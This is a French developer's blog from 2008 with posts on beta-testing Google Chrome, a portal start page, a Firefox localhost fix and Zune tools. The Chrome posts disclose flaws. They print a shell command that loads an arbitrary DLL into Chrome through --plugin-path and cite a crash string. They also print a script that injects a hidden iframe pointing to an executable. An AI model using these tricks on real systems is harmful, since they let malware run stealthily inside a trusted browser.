The diary of EBArtSoft

En Beta Testant mon Google chrome je me suis apperçu qu'il etait possible de charger n'importe quelle dll dans le process de Chrome avec un simple shellexecute :

Shell "c:\users\xxxxx\appdata\local\google\chrome\application\chrome.exe --lang=fr --type=plugin --channel=3968.2993070.1103732645 --plugin-path=""c:\mondossier\madll.dll"""

Le numero de channel peut être recuperé en listant les processus de chrome !

La dll se charge et dllmain est executé, juste apres chrome se coupe mais il est trop tard le mal est fait...

Aller encore un petit effort c'etait presque bien, vous nous refaite une petite page de BD ? ;)

Explication :

"Il serait possible d'executer du code de provenance inconnu dans le processus de Google Chrome."

Le processus chrome.exe apparaitrait alors normallement dans la liste des taches sans erreur notoire. Neanmoins un code malveillant pourrait telecharger, executer, espionner et bien d'autres choses à travers Chrome.exe.
Ceci grace à l'argument de ligne de commande --plugin-path qui permet de charger une DLL (fichier binaire contenant du code) au sein de Chrome.exe visiblement sans verification de sa provenance.
Meme si le processus a des droits limité sur le systeme cette DLL beneficie d'une excelente couverture.

Et oui, mes premiers tests etant plus que concluant j'adopte ! on verra à l'usage.

Je suis pour le moment completement emballé par la rapidité et l'intuitivité de l'interface, les onglets detachable, l'integration du moteur de recherche etc...

Manque encore quelques features comme la possibilite de fermer les onglets selectionnés mais... ça viendra !

Pour le télécharger c'est ici : http://www.google.com/chrome

Remarques du Mardi 2 Septembre 2008 :

Remarque 1 : Impossible de le passer a l'acid 3, etrangement le site ne repond pas ?!? dommage ça attendra :p.
Remarque 2 : Vraiment intrusif, le systeme d'historique va tres loin, il est d'ailleur impossible de supprimer certains elements.
Remarque 4 : Bug d'affichage sur les combobox, le contenu est tout noir.
Remarque 5 : Tiens... le lecteur flash fonctionne sans avoir ete installé ? Chrome utiliserait il les activex ?!? (reponse : non, voir rem 10)Remarque 6 : On dirais que l'historique se base sur l'ip et les recherche google... ?!?
Remarque 7 : Chrome gere les favoris d'IE et FireFox.
Remarque 8 : http://www.microsoft.com/protect/default.mspx ne passe pas tres bien surement un probleme de gestion des CSS (anecdote : la petite icone live search est invisible).
Remarque 9 : Chrome n'aime pas tout les RSS ex : http://emploi.codes-sources.com/rss.ashx?type=offre_emploi affiche que les données du dataset en texte brute.
Remarque 10 : J'ai ma reponse pour flash Chrome utilise les plugin de FireFox (ligne de commande :"chrome.exe --plugin-path="c:\program files\mozilla firefox\plugin\npswf32.dll")
Remarque 11 : Les process séparé c'est bien mais on se retrouve rapidement avec "30 process chrome" et "100% de cpu" meme sur un dual core.
Remarque 12 : Il est visiblement impossible de replacer un onglet dans une barre lorsqu'ils ont ete separé. (note : Cyril viens de m'ecrire que c'etait possible voir en commentaire, parfait :p)
Remarque 13 : A bah sylverlight ça passe pas... (joke)
(Pensé immédiate) : ..."Google Chrome" copyrighté depuis 2006, deux ans apres le Waibe 2.0 de tim O'Reilly"...
Remarque 14 : Les telechargement de fichier ce font sur le bureau par un simple clique, c'est trop discret et surtout sans confirmation !
Remarque 15 : Chrome n'aime pas la FreeTextBox http://freetextbox.com/demos/
Remarque 16 : Chrome et ExtJs ça passe ! http://extjs.com/deploy/dev/examples/desktop/desktop.html
Remarque 17 : J'aime le petit messge qui dis "Aie Aie Aie, une erreur s'est produite lors de l'affichage de la page web" avec un petit dossier qui fait la tronche (suffit de killer l'onglet a partir du manager de process pour l'obtenir). D'ailleur tentez de faire "enregistrer la page sous..." pour avoir une petite icone qui tourne en boucle infini : "telechargement de 0/0 fichier"
Remarque 18 : Chrome et "Live Hotmail" ça marche ! hormis la TextBox qui semble avoir le même probleme que la FreeTextBox ! ;)
Remarque 19 : Les grandes images s'affiche "visiblement" de bas en haut même si elle sont entrelacé !
Remarque 20 : Tiens quelqu'un peu me filer le fichier de deboggage svp : "C:\b\slave\chrome-official\build\src\chrome\Release\chrome_exe.pdb" ça sent le visual Studio a plein nez !
Remarque 21 : Tiens (n°2)... Chrome utilise les lib c de Dinkumware Ltd, interressant !
Remarque 22 : Que viens faire un copyright IBM dans chrome.exe "Copyright (C) 2007, International Business Machines Corporation and others" ?!? (J'ai trouvé c'est en partie le support unicode/scribe)
Remarque 23 : Ah ben je savais bien qu'on compile avec Visual Studio Chez Google ! "Microsoft Visual C++ Runtime Library" ;)
Remarque 24 : Tiens (n°3) Chrome.exe exporte une API "DumpProcess" !!
Remarque 25 : Tout les png de l'interface se trouve dans C:\Users\XXXX\AppData\Local\Google\Chrome\Application\0.2.149.27\Themes\Default.dll avec un petit coup de ResHacker on change l'IU de son Chrome ! C'est cool j'ai un chrome Rouge ;p
Remarque 26 : gears.dll contient toutes les ressources html, css, js et image des boites de dialogue in process... Quelle serait l'influence d'un eventuel changement de ses données via un editeur de resource ?!?
Remarque 27 : "Google Chrome ne prend pas en charge Windows 2000" ce n'est pas moi c'est fr.dll qui le dit ;)
Remarque 28 : "Voulez-vous vraiment désinstaller Google Chrome ? (Avons-nous dit quelque chose qui vous a déplu ?)" de l'humour chez Googlé ;)
Remarque 29 : Deux URL etrange : http://web-bug.appspot.com/bugreport, http://fix.me.please/?url=x
Remarque 30 : Any comment sur "D:\pulse\recipes\212112229\base\googleclient\shared\financial_tracking\rlz\build\opt\obj\dll\rlz_dll.pdb" ?!?
Remarque 31 : C'est déjà pas mal pour aujourd'hui non ? Alors à la prochaine

Remarques du Mercredi 3 Septembre 2008 :

Remarque 32 : ...

Remarque 33 : ET LES SOURCES DANS TOUT CA, ELLES SONT OU ? ( un gars dans le fond qu cri : "d.... t... c.. !!!" )
Remarque 34 : Les images de l'interface (png) on été realisé avec "Adobe ImageReady"
Remarque 35 : Possible faille de securite par simple ligne de commande shell voir : http://blogs.codes-sources.com/ebartsoft/archive/2008/09/03/google-chrome-faille-de-s-curit.aspx
Remarque 36 : Pour avoir des info sur chrome regardez FireFox : "C:\Program Files\Mozilla Firefox\chrome\chromelist.txt" Rien a voir.
Remarque 37 : Une faille "Chargement de dll sans controle" : http://blogs.codes-sources.com/ebartsoft/archive/2008/09/03/google-chrome-faille-de-s-curit.aspx
Remarque 38 : Une autre faille (bug) "arret du process" : http://evilfingers.com/advisory/google_chrome_poc.php
tapez evil:% dans la barre d'adresse et boom.
Remarque 39 : Manque le "clique sur la molette puis scroll"
Remarque 40 : Encore une faille permetant d'executer un programme si la page web contient du code comme suis :
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>

'' A chaque Geek sa page de démarrage !

La votre est terne ? Misérable ? Dénué de contenu dynamique ? Envie de changer ?

Faites donc connaissance avec http://start.codes-sources.com/
, la page de démarrage du réseau CodeS-SourceS. ''

En quelques secondes je retrouves des flux intéressants, le moteur de recherche et l'ambiance de CodeS-SourceS
depuis n'importe quel ordinateur connecté au web.

Mais je suis limité, je peux pas ajouter mes Rss perso. J'ai la solution... Je me connecte via le lien
en haut de page. J'entre mes identifiants, ceux que j'utilise tout les jours sur CodeS-SourceS :

Et la... j'ai la fonctionnalité que je voulais. Je clique sur 'ajouter du contenu', le panel apparaît.
Je tape le lien vers le flux rss, un titre pas trop deconnant et je valide. Une boite apparaît ou
une injure box selon le validité du flux. Me reste plus qu'a drag-droppé ou bon me semble parmi les
3 colonnes disponibles :

Comme toute bonne page de démarrage qui se respecte j'ai le moteur de recherche à porté de main.
Au choix : le moteur de Google (mouai... classique) ou bien le moteur de CodeS-SourceS
(qui trouve sur le web et dans mon réseau préféré) :

Pour ajouter http://Start.CodeS-SourceS.com/ en page de démarrage d'Internet Explorer
il me suffit de cliquer sur le lien correspondant en haut à droite de la page :

Les utilisateurs de FireFox ne sont pas en reste, pour ajouter Start.CodeS-SourceS.com
en page de démarrage je clique sur outil->options>page d'acceuil comme sur la capture
ci-dessous :

Bon alors si je vous ai pas convaincu avec ma demo je vous donne 3 bonnes raisons de
mettre http://start.codes-sources.com/ en page de démarrage :

1 - Tout les fonds seront reversés à la sauvegarde des baleines de l'Oise (quels fonds ? quelles Baleines ? )

2 - Par ce que http://start.codes-sources.com/ c'est rapide, pratique, simple, sympa, utile, le paradis du l'internaute

3 - Et surtout par ce que c'est un peu moi qui l'ai fait ! Bonne raison non ?

Plus sérieusement : faites-y un tour, testez, cliquez partout et dites moi ce que vous en pensez...

Si comme moi vous trouvez que Firefox (v2) est lent quand vous developpez en local et bien figurez vous que c'est normal !

Il y a t'il une solution ? oui la voici :

1. Demarrez Firefox
2. Tapez : about:config (dans la barre d'adresse)
3. Tapez : network.dns.disableIPv6 (dans la barre "filtre")
4. Dans la liste devrait figurer : "network.dns.disableIPv6" double cliquez dessus pour le passer à "true"
5. Fermez Firefox et enjoy !!!

Source : http://www.superwasp.net/weblog/2007/08/fix-firefox-slow-response-for-localhost.htm
Aussi sur le blog de Cyril : http://blogs.developpeur.org/cyril/archive/2007/06/19/probleme-de-lenteur-avec-firefox-et-vista-en-localhost.aspx

A bientôt

Imaginez un monde merveilleux ou les étudiants
passeraient leurs épreuves de bac sur la balance :

Elle : "Salut David alors t'as perdu combien ?"
Lui : "Ben… 10 kilos je vais avoir la moyenne !"
Elle : "A cool, j'ai perdu une cote et un bras je vais avoir la mention bien"

Ok j'exagère un peu mais figurez vous que Docteur Pierre Dukan, inventeur du régime Dukan nous a trouvé une chouette idée bien avant-gardiste (moi je dirais plutôt farfelue) pour agrémenter le bac : "L'option poids d'équilibre : Stabiliser son poids pour gagner des points au baccalauréat".

Vous ne rêvez pas ! Nos étudiants seront bientôt jugés sur leur physique, puisque c'est de cela qu'il s’agit. Le docteur Dukan a proposé son projet aux ministères de l'Education nationale et de la Santé sous couvert d'une pseudo-sauvegarde de la santé et profitant du fait que le jeune est à un âge ou il se construit. Concrètement, le(la) lycéen(ne) gagnera les points de l'option de poids d'équilibre s'il réussit à stabiliser pendant les 2 années pré-baccalauréat (1ère et terminale) son indice de masse corporelle (IMC) entre 18 et 25.

Bref personnellement assez sensible à la question du poids je trouve cela scandaleux. Peut être que d'autre y verront un nouvel avenir...

Et pourquoi pas le permis de conduire sur la balance ? Ou le super marché restreint pour les "gros" ? Ou le Framework (dot) Fat ou que sais-je, moultes dérivés du concept...

A bientôt

Sources : Google

Je passe vite fait pour craner et vous annoncer que j'ai été renouvelé au titre de Microsoft - Most Valuable Professionals - Visual Basic pour l'année 2008, plutôt cool !

En voila une bonne nouvelle et en plus c'est pas un poisson d'avril, enfin j'espere... j'ai pas verifié les adresse email... arf.. la pression... haha.

Sur ce j'm'en va' coller des carpes dans le dos de mes petis collegues.

A bientôt

Note à moi même : "Vérifier l'autenticité des adresses email non signées dans les messages emanent d'une autorité niania ... systeme non dédié...    bla   bla...         à la sécurité de la...           base      de  ..."

Bonjour,

Mon premier article "programmation" de l'année ça se fête non ? Alors si le titre de l'article vous parle ou bien si vous êtes un peu curieux filez lire la suite ici (voir http://ebartcodes.info/articles/vb5cce/) sinon passez votre chemin.

A bientôt.

Je sais pas pourquoi... mais ça me fait marrer !

Vu sur http://blog.zanorg.com/

"A l'occasion de la signature d'un accord de partenariat entre Sciences Po et Microsoft, Steve Ballmer, CEO de Microsoft a donné une conférence aux étudiants de l’école."

C'est dingue, quand j'étais en cours nos interfenants était plutôt du genre de la gendarmerie national ou de l'armée de terre hahah.

"Voici une vidéo en exclusivité ! Microsoft ne rendra pas accessible cette vidéo sur son site web avant mardi matin prochain.

http://download.microsoft.com/download/3/3/1/331886c1-e277-41ab-98cb-054b0bb81eb6/Rencontre_avec_les_etudiants_de_Science_Po_453_Kbits.wmv"

Les temps changent... mais les classes restent

Souhaitons tous un joyeux anniversaire à Patrice L. alias PatriveVB qui fête aujourd'hui son néniéme anniversaire (Et oui à son age on ne devoile plus les chiffres) avec toujours la même soif de connaissance et de partage !

Youhouuuu bon anniversaire !!!

Voila le genre de decouverte qui me fait aimer l'Internet. En surfant à la recherche de la revision 8 des specifications du format de fichier Portable Executable (ou les exe de windows pour les intimes) je tombe nez à nez avec un article (de l'année derniere) qui parle d'un defi entre programmeurs : "Créer le plus petit executable PE".

Là je me dis : "ok je vais pouvoir m'amuser un peu" et en effet, l'article est pour ma part très instructif : vous pourrez y decouvrir comment créer un (P)Exe de 97 octets !!! Ou bien comment télécharger un fichier sur l'internet sans que votre programme execute la moindre instruction !!

Alors si vous aimez ce genre de bidouille n'attendez pas une seule seconde et faites un tour sur http://www.phreedom.org/solar/code/tinype/ 

Amusez vous bien et passez un bon weekend (de programmation bien sûr)

A oui j'oubliais... voila la revision 8 du format de fichier PE

Bon on connait tous les jeux au stylet, que ce soit pour deplacer une boule ou créer des lasers en faisant des traits. On voit surgir du net une foultitude de petits jeux impliquant les strokes, mais en voici un plutôt original :

http://www.kloonigames.com/blog/games/crayon/

Le but est de deplacer la boule rouge afin de collecter les étoiles. Certe c'est tout à fait commun, neanmoins le jeu possede un moteur physique qui le rend hors norme. Dessiner des formes libres afin de les faire interagir à la maniere d'un ancien jeu appelé "the incredible machine" pour ceux qui ce souviennent du hit.

Bref testez le. Ca vous donnera certainement des idées :p 

En cette periode où les chanteurs nous sont imposés par les chaines de télévision à grand coup de publicité et d'emission prime time, on prend de plus en plus gout à decouvrir soit même de nouveaux talents au travers de concert live ou via l'internet. Alors afin de donner un petit coup de pouce à un ami et un artiste talentueux je me permet de vous faire decouvrir Narcisse, un chanteur rap/pop/rock, entouré de musicien de qualité qui ont fait de la musique leurs passions, leurs reves et leurs espoirs.

Bref treve de bavardage,

           Donnez lui vous aussi un petit coup de pouce en visitant sa page web

                       Et changez d'air le temps d'un instant.

                        La page web c'est par ici => Suivez le lien

                        Le CD c'est par ici => Suivez le lien

Narcisse > Tu devrais passer sur ASP.NET ce serait "bien plus meilleur" (et revise tes Phap Thé) :p

Il est des evenements que l'on ne peut oublier comme le premier pas sur la lune, la decouverte du genome humain, la naissance d'un enfant ou bien encore le crash d'un master serveur en pleine nuit et bien je ne vous l'apprend surement pas mais le 29 mai en fait partie car aujourd'hui c'est.... aujourd'hui c'est...  c'est l'anniversaire de Nixeeeeeeeeeee

Joyeux anniversaire Nix

Yeah, youhouuu sortez les cotillons et le champonix !!!

Aller pour l'occasion je vous fait un pti' clip sympa histoire de justifier mon vista. Profitez s'en je ne sais pas quelle est sa durée de vie sur ma bande passante.

VIVE LA SUEDE, VIVE LE CONCOMBRE MASQUE ET VIVE CODES-SOURCES !!

JUST NIX IT

<:op

(ps : j'ai eu beau essayer j'ai toujours pas amelioré mon swing sur wii sport, franchement le vb c'est plus simple :p)
(ps2 : désolé pour l'agression audio-visuelle à l'apparition de la page mais le tag autostart n'a pas l'air d'etre pris en compte)

Bon on m'a fait remarquer à juste titre que les questions concernant Windows Vista et les fichiers multimedia (plus precisement des questions concernant les DRM) ce faisait de plus en plus nombreuses et surtout beaucoup d'utilisateurs ont des fausses idées sur le fonctionnement de ceux-ci : 

- "A bah Vista c'est nul la musique marche plus !" = [Faux]
- "Ouai mais les trucs de mon lecteur mp3 je pourrait plus les lire" = [Faux]
- "C'est pourri parrait qu'il faut payer pour lire ses video" = [Faux]
- "Moi je met pas Vista on peut pas copier de DVD" = [Pas bieeeeeennn !]
- "J'ai essayé Vista pour gravé mon DVD de LucSkyVador II ça marche pas" = [Menteur !]

Bref j'en passe...

Je profite donc de l'occasion pour dans un premier temps relayer l'information et dans un deuxieme temps me créer un lien que j'utiliserais pour rediriger les personnes qui piquent des crises de nerfs devant Windows Vista sous l'emprise de fausse rumeurs :

- "Tiens, tu regardes ça et on ce rappel demain quand t'auras fini !"

A ouai bonne idée, si vous aussi vous avez ce genre "d'amis" ditent leurs de venir la : suivez le lien

Bon surtout ne vous inquietez pas Windows Vista ce n'est pas QUE des DRM, parlez s'en donc à Nix

A bientôt

Vous ne vous etes jamais demandez pourquoi votre souris continuait à bouger tandis que l'ordinateur avait bloqué tout ses threads pour lancer outlook 2007 (hahah private joke) ?

Non mais c'est vrais comment elle fait la souris ? elle serait pas coincé entre l'ecran et les pixel ? a ouai si ça ce trouve ! Et bien non des chercheurs japonnais ont la reponse à votre questions, c'est ici : suivez le lien

Trop fort les asiatiques toujours à la pointe !

A bientôt 

Bon le zune par-ci le zune par-la maintenant ça suffit , rohhh aller je sais que vous êtes bien content d'avoir des news toutes fraiches tout les jours hein ? Et puis Il arrive bientôt dans l'hexagone raison de plus pour avoir un maximum d'info lorsqu'il sera dans votre poche.

Bon treve de plaisanterie, voici un petit document vous permetant de créer votre propre câble AV si comme moi vous avez oublié le pack télécommande et station d'acceuil dans le magasin ou bien si votre câble est trop court...

Le document : Suivez le lien.

A bientôt

La mode est a la geolocalisation n'est ce pas ? alors pourquoi pas coupler cette mode avec celle du Zune !

Voici la "Global map of Zune users".

So add yourself

Bonjour, si vous disposez d'un Zune et que vous êtes sous windows version française voici un petit outil pour autoriser l'installation du logiciel zune depuis le cd. Il permet egalement d'activer le gestionnaire de disque USB et l'utilisation de fichier AVI. D'autre fonctions seront peut etre ajouté par la suite suivant le besoin (et surtout suivant les informations dont je dispose sur cet objet).

Le programme necessite au minimum le framework .NET 1.0. Les sources du projet en Visual Basic .Net sont disponible ci dessous.

Le binaire de l'outil : suivez le lien
Les sources de l'outil : suivez le lien

Voila quoi dire de plus sinon amusez vous bien !